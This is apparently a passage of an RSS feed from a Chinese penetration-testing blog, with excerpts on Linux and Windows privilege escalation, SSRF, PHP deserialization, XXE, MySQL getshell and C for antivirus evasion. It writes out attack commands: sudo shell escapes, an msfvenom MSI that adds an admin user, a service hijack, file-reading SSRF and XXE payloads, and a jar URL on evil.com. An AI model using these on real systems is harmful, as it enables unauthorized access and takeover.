&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /usr/bin/vim
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;在vim中输入 &lt;code&gt;:set shell=/bin/bash&lt;/code&gt; 回车&lt;/li&gt;
&lt;li&gt;然后输入 &lt;code&gt;:shell&lt;/code&gt; 回车&lt;/li&gt;
&lt;li&gt;成功获得root shell&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;利用其他命令提权&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果发现可以执行&lt;code&gt;/usr/bin/nano&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /usr/bin/nano
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;在nano中按&lt;code&gt;Ctrl+R&lt;/code&gt;，输入&lt;code&gt;!bash&lt;/code&gt;，回车&lt;/li&gt;
&lt;li&gt;即可获得root shell&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="说明"&gt;说明：&lt;/h3&gt;
&lt;p&gt;sudo配置不当，允许用户以root身份执行特定命令，而无需密码验证。&lt;/p&gt;
&lt;h2 id="二suid特殊权限提权"&gt;二、SUID特殊权限提权&lt;/h2&gt;
&lt;h3 id="利用步骤-1"&gt;利用步骤：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;查找SUID文件&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find / -perm -u&lt;span style="color:#f92672"&gt;=&lt;/span&gt;s -type f 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;利用/bin/mount提权&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir /tmp/mount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;touch /tmp/mount/malicious_file
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /bin/mount -o bind /tmp/mount /tmp/mount
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /bin/mount /tmp/mount /tmp/mount
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;通过此方式可获取root权限&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;利用/bin/ping提权&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>SSRF</title><link>https://h4xk0r.github.io/posts/ssrf/</link><pubDate>Sun, 15 Feb 2026 00:00:00 +0000</pubDate><guid>https://h4xk0r.github.io/posts/ssrf/</guid><description>&lt;h3 id="伪协议"&gt;伪协议&lt;/h3&gt;
&lt;h5 id="php"&gt;PHP&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;http/s:// &lt;/code&gt;常用于探测存活主机和开放端口,配合burp&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;https://example.com/title?title=http://127.0.0.1:6379
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;file:// &lt;/code&gt; 读取文件内容&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;file:///etc/passwd
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;dict:// &lt;/code&gt;字典服务协议，可以通过这个协议执行一些指令.但是&lt;code&gt;dict&lt;/code&gt;很难完成复杂的认证，他每次发送的请求都是新建立的连接&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;dict://127.0.0.1:6379/info
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;gopher:// &lt;/code&gt; gopher协议可以伪造任何基于TCP的应用层协议报文（java不支持）&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gopher://&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;/_&amp;lt;payload&amp;gt;
_ : 占位符。gopher协议在传输中会吃掉路径后的第一个字符
&amp;lt;payload&amp;gt; : 经过URL编码的原始tcp数据流
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="java"&gt;JAVA&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;file://&lt;/code&gt; 协议 与 PHP 类似&lt;/p&gt;
&lt;p&gt;可以读取本地文件：&lt;code&gt;file:///etc/passwd&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netdoc://&lt;/code&gt; 协议 它允许你访问并提取 &lt;code&gt;jar&lt;/code&gt; 包中的内容。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Payload: &lt;code&gt;netdoc:///etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;jar://&lt;/code&gt; 协议 它允许你访问并提取 &lt;code&gt;jar&lt;/code&gt; 包中的内容。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;语法： &lt;code&gt;jar:{url}!/{entry}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用法： &lt;code&gt;jar:http://evil.com/test.jar!/com/test/Main.class&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;利用点：
&lt;ol&gt;
&lt;li&gt;让服务器去下载远程恶意 jar 包。&lt;/li&gt;
&lt;li&gt;读取本地 classpath 下的配置文件。&lt;/li&gt;
&lt;li&gt;结合某些反序列化漏洞，控制类加载过程。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="绕过"&gt;绕过&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;IP地址&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;进制转换： 浏览器和许多网络库支持非十进制的 IP。
八进制： 0177.0.0.1
十六进制： 0x7f.0x0.0x0.0x1
十进制整数（最隐蔽）： 将 IP 换算成一个超大数字。127.0.0.1 ----&amp;gt; 2130706433
特殊省略写法：
127.0.0.1 可以写成 127.1 或 127.0.1。
0.0.0.0 在 Linux 下通常也会指向本地。
IPv6 绕过：
使用 [::1] 代表 127.0.0.1。
使用 IPv6 格式的内网地址。
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;利用DNS&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Windows提权</title><link>https://h4xk0r.github.io/posts/windows%E6%8F%90%E6%9D%83/</link><pubDate>Sun, 15 Feb 2026 00:00:00 +0000</pubDate><guid>https://h4xk0r.github.io/posts/windows%E6%8F%90%E6%9D%83/</guid><description>&lt;h1 id="windows工作组环境和域环境提权方式详解"&gt;Windows工作组环境和域环境提权方式详解&lt;/h1&gt;
&lt;h2 id="一工作组环境提权方式"&gt;一、工作组环境提权方式&lt;/h2&gt;
&lt;h3 id="1-alwaysinstallelevated提权"&gt;1. AlwaysInstallElevated提权&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;条件&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;系统已启用AlwaysInstallElevated（注册表值为1）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;检查方法&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;利用步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;生成恶意MSI文件（在Kali Linux中）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;msfvenom -p windows/adduser USER=hacker PASS=P@ssw0rd -f msi -o add.msi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;如果在Windows上操作，可以使用在线工具生成MSI文件&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在Windows上执行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;msiexec /i add.msi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;验证提权：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net user hacker
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;成功标志&lt;/strong&gt;：看到hacker账户，且在管理员组中&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="2-服务权限配置错误提权"&gt;2. 服务权限配置错误提权&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;条件&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;服务路径权限配置错误&lt;/li&gt;
&lt;li&gt;当前用户对服务可执行文件或目录有写权限&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;检查方法&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sc query
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;winpeas.exe quiet notcolor serviceinfo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;利用步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;找到一个服务（如Spooler）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sc qc Spooler
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;修改服务路径：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg add &lt;span style="color:#e6db74"&gt;&amp;#34;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Spooler&amp;#34;&lt;/span&gt; /t REG_EXPAND_SZ /v ImagePath /d &lt;span style="color:#e6db74"&gt;&amp;#34;C:\evil\shell.exe&amp;#34;&lt;/span&gt; /f
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重启服务：&lt;/p&gt;</description></item><item><title>PHP反序列化</title><link>https://h4xk0r.github.io/posts/php_serialize/</link><pubDate>Sat, 07 Feb 2026 00:00:00 +0000</pubDate><guid>https://h4xk0r.github.io/posts/php_serialize/</guid><description>&lt;p&gt;距离第一次学习php反序列已经很长时间了，初次学习时就学的迷迷糊糊，有很多理解不到位的地方，正好最近有时间打算回过头重新开始学习一遍，理解不到位之处请各位大佬多多指正。&lt;/p&gt;
&lt;h3 id="为什么需要序列化和反序列化"&gt;为什么需要序列化和反序列化？&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;网络传输只能处理位流(Bytes)&lt;/strong&gt; , 当你在java,php,python中定义一个复杂的用户对象，但是路由器并不认识，只能通过序列化成字符串的方式以字节流的方式传输，传输流程大致如下：&lt;/p&gt;
&lt;p&gt;服务器对象&amp;ndash;&amp;gt; 序列化&amp;ndash;&amp;gt; 字节流&amp;ndash;&amp;gt; 网络传输&amp;ndash;&amp;gt; 反序列化&amp;ndash;&amp;gt; 客户端&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内存(RAM)易失&lt;/strong&gt;，程序运行在内存中，一旦断电，关闭数据就会消失&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="php中的序列化反序列化函数"&gt;php中的序列化反序列化函数&lt;/h3&gt;
&lt;p&gt;序列化：&lt;code&gt;serialize()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;反序列化：&lt;code&gt;unserialize()&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="漏洞利用"&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;前提: 服务端(不论是当前代码还是所包含的代码中)必须要有对象(序列化形式)所对应的类, 否则无法反序列化&lt;/p&gt;
&lt;p&gt;例如: &lt;code&gt;payload:O:1:&amp;quot;**S**&amp;quot;:1:{s:4:&amp;quot;test&amp;quot;;s:29:&amp;quot;&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt;&amp;quot;;} &lt;/code&gt;这时候如果服务端没有一个叫做S的类, 就会反序列化失败&lt;/p&gt;
&lt;p&gt;所以说, 想要发起反序列化攻击, 必要条件之一: 必须知道服务端有哪些类&lt;/p&gt;
&lt;h3 id="魔术方法"&gt;魔术方法&lt;/h3&gt;
&lt;p&gt;注:加黑重点关注&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;魔术方法&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;描述&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__construct()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;构造方法&lt;/strong&gt;，当对象被实例化（&lt;code&gt;new&lt;/code&gt;）时自动调用。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__destruct()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;析构方法&lt;/strong&gt;，当对象被销毁时自动调用。反序列化攻击中最常见的入口。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__call()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;在对象上下文中调用一个&lt;strong&gt;不可访问或不存在的方法&lt;/strong&gt;时触发。常用的跳板。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__callStatic()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;在静态上下文中调用一个&lt;strong&gt;不可访问或不存在的方法&lt;/strong&gt;时触发。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__get()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;读取对象中&lt;strong&gt;不可访问（未定义或私有）的属性&lt;/strong&gt;时触发。常用的跳板。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__set()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;写入对象中&lt;strong&gt;不可访问（未定义或私有）的属性&lt;/strong&gt;时触发。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__isset()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;使用 &lt;code&gt;isset()&lt;/code&gt; 或 &lt;code&gt;empty()&lt;/code&gt; 检查对象中不可访问的属性时触发。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__unset()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;使用 &lt;code&gt;unset()&lt;/code&gt; 删除对象中不可访问的属性时触发。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__sleep()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;当对象被 &lt;code&gt;serialize()&lt;/code&gt; 序列化前触发，通常用于返回需要被序列化的属性列表。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__wakeup()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;当对象被 &lt;code&gt;unserialize()&lt;/code&gt; 反序列化时触发，常用于初始化资源。反序列化的“点火开关”。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__toString()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;当对象被转换成&lt;strong&gt;字符串&lt;/strong&gt;（如 &lt;code&gt;echo&lt;/code&gt; 或拼接）时自动调用。核心跳板。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__invoke()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;当尝试以&lt;strong&gt;函数方式调用对象&lt;/strong&gt;（如 &lt;code&gt;$obj()&lt;/code&gt;）时触发。常用的跳板。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__clone()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;当对象使用 &lt;code&gt;clone&lt;/code&gt; 关键字被克隆时调用。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__serialize()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PHP 7.4+ 引入。序列化前触发，优先级高于 &lt;code&gt;__sleep&lt;/code&gt;。返回一个包含对象数据的数组。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__unserialize()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PHP 7.4+ 引入。反序列化后触发，优先级高于 &lt;code&gt;__wakeup&lt;/code&gt;。用于恢复对象状态。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__set_state()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;当使用 &lt;code&gt;var_export()&lt;/code&gt; 导出类时触发。必须是静态方法，返回类实例。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;__debugInfo()&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;当使用 &lt;code&gt;var_dump()&lt;/code&gt; 打印对象信息时触发，用于控制显示的属性。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;1、 &lt;code&gt;__construct()&lt;/code&gt; 和 &lt;code&gt;__destruct()&lt;/code&gt;&lt;/p&gt;</description></item><item><title>XML 漏洞详解</title><link>https://h4xk0r.github.io/posts/xml/</link><pubDate>Wed, 04 Feb 2026 00:00:00 +0000</pubDate><guid>https://h4xk0r.github.io/posts/xml/</guid><description>&lt;h1 id="xml漏洞"&gt;XML漏洞&lt;/h1&gt;
&lt;h2 id="理论"&gt;理论：&lt;/h2&gt;
&lt;p&gt;xml是一种用来传输和存储数据的格式，长得有些像HTML&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;user&amp;gt;
&amp;lt;username&amp;gt;admin&amp;lt;/username&amp;gt;
&amp;lt;role&amp;gt;manager&amp;lt;/role&amp;gt;
&amp;lt;/user&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;要学习XML就要先学习DTD&lt;/p&gt;
&lt;p&gt;什么是DTD？&lt;/p&gt;
&lt;p&gt;DTD（文档类型定义）使用来定义xml文档的合法结构。重点在于DTD允许定义实体也就是&lt;strong&gt;Entity&lt;/strong&gt;，而他也就是漏洞的根源&lt;/p&gt;
&lt;p&gt;他有些像编程语言中的变量，举两个例子&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;内部实体
&amp;lt;!DOCTYPE root [
&amp;lt;!ENTITY name &amp;#34;h4xk0r&amp;#34;&amp;gt;
]&amp;gt;
&amp;lt;root&amp;gt;Hello &amp;amp;name;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;外部实体----这是漏洞的核心，xml允许从外部通过url或文件路径加载数据
语法关键字 SYSTEM 或 PUBLIC
&amp;lt;!DOCTYPE root[
&amp;lt;!ENTITY xxe SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;
]&amp;gt;
&amp;lt;root&amp;gt;&amp;amp;xxe;&amp;lt;root&amp;gt;
如果在实际过程中后端接收了你的XML，并且解析了&amp;amp;xxe这个变量，那么就可以通过构造SYSTEM后面的路径，让服务器读取文件，探测内网
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="实战向"&gt;实战向：&lt;/h2&gt;
&lt;h3 id="怎么去寻找漏洞点"&gt;怎么去寻找漏洞点：&lt;/h3&gt;
&lt;p&gt;显式的XML接口：&lt;/p&gt;
&lt;p&gt;如果请求头是 &lt;code&gt;Content-Type: application/xml&lt;/code&gt; 或 &lt;code&gt;text/xml&lt;/code&gt;，且数据包体是 XML，那么可以直接插入payload进行测试，但是感觉现在很少了&lt;/p&gt;
&lt;p&gt;隐式接口（content-Type欺骗）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;假设一个api接口是这样的：
POST /api/login HTTP/1.1
Content-Type: application/json
{&amp;#34;user&amp;#34;: &amp;#34;admin&amp;#34;, &amp;#34;pass&amp;#34;: &amp;#34;123&amp;#34;}
很多框架为了兼容性，会根据Content-Type切换解析器，所以我们构造payload
POST /api/login HTTP/1.1
Content-Type: application/xml &amp;lt;-- 修改这里
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; ?&amp;gt;
&amp;lt;user&amp;gt;admin&amp;lt;/user&amp;gt;
&amp;lt;pass&amp;gt;123&amp;lt;/pass&amp;gt;
如果这时候服务器没有报错说明支持xml格式，那么就可以构造payload测试xxe漏洞了
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;文件上传（SVG与office）&amp;ndash;这个是比较容易被忽视的点&lt;/p&gt;
&lt;p&gt;svg： 是一种图片格式的矢量图。微信头像，网站logo上传处&lt;/p&gt;
&lt;p&gt;Execl/Word（.xlsx/.docx）: 本质是ZIP包，解压后是XML。 简历上传，报表导入处&lt;/p&gt;</description></item><item><title>MySQL getshell</title><link>https://h4xk0r.github.io/posts/mysql-getshell/</link><pubDate>Fri, 30 Jan 2026 00:00:00 +0000</pubDate><guid>https://h4xk0r.github.io/posts/mysql-getshell/</guid><description>&lt;h2 id="udf--os-shell"&gt;UDF (&amp;ndash;os-shell)&lt;/h2&gt;
&lt;h3 id="利用条件"&gt;利用条件&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;数据库为DBA,可以使用sqlmap的&lt;code&gt;--is-dba&lt;/code&gt;查看当前网站连接的数据库账户是否是管理员&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;secure_file_priv&lt;/code&gt;没有具体值&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;查找:
1. --sql-shell
1. 进入数据库后: SHOW VARS LIKE &amp;#39;secure_file_priv&amp;#39;;
2. 盲注:使用length()函数推测: ?id=1 AND (SELECT @@secure_file_priv) IS NULL
返回正常则null,无法写入
页面异常则,则不是null
判断是否为空:
?id=1 AND length(@@secure_file_priv) = 0 页面正常则为空
3. 尝试写入文件: ?id=1 INTO OUTFILE &amp;#39;/var/www/html/test.txt&amp;#39; -- 根据报错信息判断
4.权限检查: ?id=1 AND (SELECT user_privileges FROM information_schema.user_privileges WHERE privilege_type=&amp;#39;FILE&amp;#39; AND grantee=CONCAT(&amp;#34;&amp;#39;&amp;#34;, (SELECT CURRENT_USER()), &amp;#34;&amp;#39;&amp;#34;)) IS NOT NULL 即使secure_file_priv为空,用户没有FILE权限,也无法写入
或者
AND (SELECT 1 FROM mysql.user LIMIT 1)，如果能访问 mysql 库，通常意味着是高权限。
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;知道网站的绝对路径&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;查找:
1. 注入报错信息
2. 利用内部函数和元数据:
Apache (Ubuntu): UNION SELECT 1, load_file(&amp;#39;/etc/apache2/sites-enabled/000-default.conf&amp;#39;), 3
Nginx: UNION SELECT 1, load_file(&amp;#39;/etc/nginx/nginx.conf&amp;#39;), 3
Windows (IIS): C:\Windows\System32\inetsrv\config\applicationHost.config
3.常见的默认路径:
Linux (Apache) /var/www/html/, /var/www/www.example.com/
Linux (Nginx) /usr/share/nginx/html/, /var/www/html/
Windows (IIS) C:\inetpub\wwwroot\
Windows (XAMPP) C:\xampp\htdocs\
Windows (phpStudy) D:\phpstudy_pro\WWW\, C:\phpStudy\WWW\
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="漏洞复现"&gt;漏洞复现&lt;/h3&gt;
&lt;p&gt;方法一: &amp;ndash;os-shell&lt;/p&gt;</description></item><item><title/><link>https://h4xk0r.github.io/posts/c/c-%E8%AF%AD%E8%A8%80-%E5%AD%A6%E4%B9%A0/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://h4xk0r.github.io/posts/c/c-%E8%AF%AD%E8%A8%80-%E5%AD%A6%E4%B9%A0/</guid><description>&lt;h1 id="c-语言-学习"&gt;C 语言 学习&lt;/h1&gt;
&lt;p&gt;学习c语言是为了后面学习免杀,记录一下学习过程方便温习&lt;/p&gt;
&lt;h2 id="基础知识"&gt;基础知识&lt;/h2&gt;
&lt;h4 id="程序执行的两种方式"&gt;程序执行的两种方式:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;解释: 借助一个程序,读懂你写的程序去执行&lt;/li&gt;
&lt;li&gt;编译: 借助一个程序,把你的程序翻译成计算机懂得语言&amp;ndash;机器语言&amp;ndash;写的程序,然后执行(整体转换为机器码后，由系统直接调度执行)&lt;/li&gt;
&lt;/ul&gt;
